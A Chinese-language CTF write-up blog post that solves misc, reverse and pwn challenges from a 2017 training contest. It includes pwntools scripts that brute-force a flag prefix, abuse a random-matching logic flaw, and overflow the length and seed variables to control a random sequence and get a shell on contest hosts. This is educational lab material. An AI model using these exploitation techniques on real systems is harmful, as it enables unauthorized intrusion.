2017-12-16训练赛
0x1 - MISC
MISC100
一张帅行的照片
目测是图片隐写,但是binwalk并没有出来,应该是对文件头进行了修改
010editor查看一下,发现在jpg文件尾之后还有大量的数据
而且在灰色部分发现了IHDR,是png文件的一个标志,所以应该是文件连缀之后删去了png的文件头、尾
所以可以进行修复,在灰色部分前后分别加上png的文件头尾,并删去前面帅行的数据
保存之后发现图片是纯白的,而且在linux下无法打开
->有可能是文件长宽被修改之后crc校验不匹配导致的
详情见M4X司机http://www.cnblogs.com/WangAoBo/p/7108278.html
提供两种方法
①利用crc进行宽和高的爆破,得到正确的尺寸,修改得到完整图片
flag就是帅行的女朋友标准
②直接删去部分数据
这个操作不是很稳,但是比写脚本爆破要快一点
可以看到在图片中存在大量的单调规则的数据,不会是有价值的信息
所以可以直接把这部分删掉,把下面被隐藏的部分暴露出来
效果也还不错
MISC200
一个多重压缩包,tar.gz方式压缩的
经过简单查看,每两层一个数字作为名字,先解压gz,之后是tar包
exp:
#!/usr/bin/env python import gzip
import os
import tarfile def un_gz(name):
g_file = gzip.GzipFile(name)
new_name = name+"tar"
open(new_name,"w+").write(g_file.read())
g_file.close()
# un_gz(new_name)
tar = tarfile.open(new_name)
name = tar.getnames()[0]
tar.extract(name)
tar.close()
un_gz(name) un_gz("800")
get flag:
0x2 - Reverse
Reverse100
这就是关键函数了
把a1的每一位和0x804A040的每一位进行比对
比较简单的逻辑,把运算的优先级看好,按照逻辑写出反向计算脚本
exp:
s=[0x8F,0xAA,0x85,0xA0,0x48,0xAC,0x40,0x95,0xB6,0x16,0xBE,0x40,0xB4,0x16,0x97,0xB1,0xBE,0xBC,0x16,0xB1,0xBC,0x16,0x9D,0x95,0xBC,0x41,0x16,0x36,0x42,0x95,0x95,0x16,0x40,0xB1,0xBE,0xB2,0x16,0x36,0x42,0x3D,0x3D,0x49]
a='./re100'
ls=''
for i in range(42):
t=(((s[i] & 0xAA) >> 1) | (2*(s[i]&0x55)))-9
ls += chr(t&0xffff)
print(ls)
需要注意的是,减号的优先级还挺高的,漏掉原来的一个括号,就得不到正确的结果了
Reverse200
一个64位程序,check被破坏了,不能用ida使用F5,下面给出三个方法
①使用gdb调试
在gdb中,找到strcmp函数,查看参数就能直接看到flag(M4x的图,别问我,我还没get技能,会玩了可能来补一下)
②修复程序,使其可以使用F5查看伪代码
左箭头指向处ALT+ k,把右箭头指向处改为0即可
下面应该就比较好弄了
③利用程序漏洞爆破
也就我这么皮,上面删图片数据,下面用漏洞爆破了
在题目更新之前,存在一个逻辑错误
在试运行时发现输入“flag”,也能得到输入正确的反馈
所以很容易想到如果输入预期字符串的前n的字符,那么会得到正确回馈
所以可以根据这个特性进行逐位爆破:
在已知flag后加入一个可打印字符,如果回馈正确,就把这个字符加入flag中
到最后能得到完整的flag
exp:
#!/usr/bin/env python from pwn import *
import string # context.log_level='debug'
payload = 'flag{'
feedback = ''
sou = string.printable
# print sou
while(1):
for i in sou:
pay=payload+i
io=process("./re200")
elf = ELF("./re200")
io.sendline(pay)
feedback = io.recvline()
if(feedback[19]=='l'):
payload = pay
print pay
break
io.close()
if(pay[-1]=='}'):
break
也就几十秒就出来了,看来官方解答还是用gdb嘛
0x3 - PWN
pwn100
没有elf的pwn
将ip和端口在浏览器打开就是程序的输出
给出了溢出跳转的函数地址,而且是64位的地址
所以只需要我们根据输入payload之后的回馈,将该地址覆写到合适的位置,即找出填充字符串的长度
经过尝试,填充字符串为0x38,所以得到exp
地址是随机化的,按照小端序和返回提示,找到正确的填充长度
在此目录下,可以找到hiddenlevel
(命令语句都不会,能找出来才怪哩)
pwn200
好题!开创了py出pwn的先河!
一个pyc文件,可以很容易反编译出准确的源码
那么面临两个问题:找出程序中system函数的地址,确定溢出长度
好了,上一行划掉。这不是一个溢出的漏洞,而是程序逻辑错误
可以发现,在程序进行随机字符比对时,没有进行一对一的比较,而是6*6的比较方式
这就造成,只要我们的输入和随机字符串有一个相同,就能实现match==6
所以我们可以采用相同的key = 'aaaaaa',循环的执行程序,直到遇到含有一个‘a'的随机字符组合
exp:
#!/usr/bin/env python from pwn import *
import string
context.log_level = 'debug'
while(1):
feedback =''
io=remote("10.4.21.55",9002)
elf = ("./pwn200")
payload = 'a' * 6
# io.recvuntil("chioce: ")
io.recvline()
io.recvline()
io.recvline()
io.recvline()
io.recv(13)
io.sendline("1")
io.recvuntil("chars: ")
io.sendline(payload)
feedback = io.recvline()
if(feedback[0]=='H'):
io.close()
continue
else:
io.interactive()
break
print feedback
很快就能跑出结果
pwn400
有点坑是真的。。
美(sang)丽(xin)壮(bing)观(kuang)的全保护题目,而且确实限制了读取长度
在ida中查看
开了金丝雀,在目前没有get绕过canary的情况下,栈溢出控制返回地址就行不通了
但是可以发现两点比较有价值的:
①username在data区,下面紧邻了len,也就是控制密码读取长度的变量
②密码(buf)的下面有seed
所以我们可以有以下思路:
先在username输入时覆盖len,使其长度足够
输入password时,覆盖seed,使随机数种子已知
如此控制了随机数的种子,便掌控一切
#!/usr/bin/env python from pwn import *
import random as rd
context.log_level='debug'
v6 = [395,2255,862,1541,3798,3688,1267,935,26,3543,3926,2443,2946,1158,515,2110,998,3883,3834,4603,2920,3844,4543,3231,796,1097,2927,846,541,2832,233,2229,465,3617,3079,2223,3953,587,1907,80,3695,858,1511,269,1154,2807,3588,2290,1184,3607,1726,1184,963,167,2541,729,2175,2569,3708,298,4252,211,1338,571,1140,48,1929,1156,4375,3336,4652,4650,3656,2595,2239,1774,1361,2333,710,472,1477,1834,948,2302,1179,3410,229,938,2597,1951,563,2927,4381,1415,4199,1508,2048,4368,2999,1519]
io = remote("10.4.21.55",9003)
# io = process("./pwn300")
elf = ELF("./pwn400")
username = 'a'*12+p32(100)
password = 'a'* 9 + p32(0)
# io.recvuntil(")\n")
io.recvline()
io.recvline()
io.recvline() io.sendline(username) io.recvline()
io.sendline(password)
io.recvline()
io.recvline() for i in range(100):
io.recvline()
io.recvline()
io.recvline()
io.sendline(str(v6[i])) io.recvline()
io.recvline()
io.interactive()
io.close()
(在尝试过程中遇到几次recvuntil不能正常recv的情况,便改成了多个recvline)
需要注意的是,此时虽然在seed处覆盖了“p32(0)”,但是并不是“srand(0)”
所以随机数表可通过自己编写C脚本,使用相同的值覆盖seed,得到和程序相同的随机数表
掌控了随机数,便可以按顺序输入给程序,使得猜对100次,获得shell
等get了绕金丝雀的技能再回来收拾这家伙
0x4总结扯皮
这次的训练赛收获还是很大的,虽然有些地方是投机取巧的,但pwn做的还是很舒服(全靠M4x司机带)
三个pwn题都比较有新意,突破了之前练习的常规思路
第一个没有elf,还是第一次遇到,不能对程序进行分析,抱着试试的态度解锁盲pwn新姿势
第二个突破天际,竟然是py,之前都是常规套路的溢出漏洞,找了半天怎么对pyc文件进行溢出的,经过提醒才仔细看代码的逻辑漏洞,关注点还是要全面一点吧
第三个吊炸天的全保护。最开始注意到len和seed的位置特殊时,还真有过一丝控制随机数的想法,但总觉得太过暴力,不符合pwn的美学,想去找适合新手用的绕过金丝雀进行溢出,然而事实就是这么粗暴。。。等我get了绕canary,再回来收拾收拾这家伙,美学不容破坏
2018-1-4新生选拔赛
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;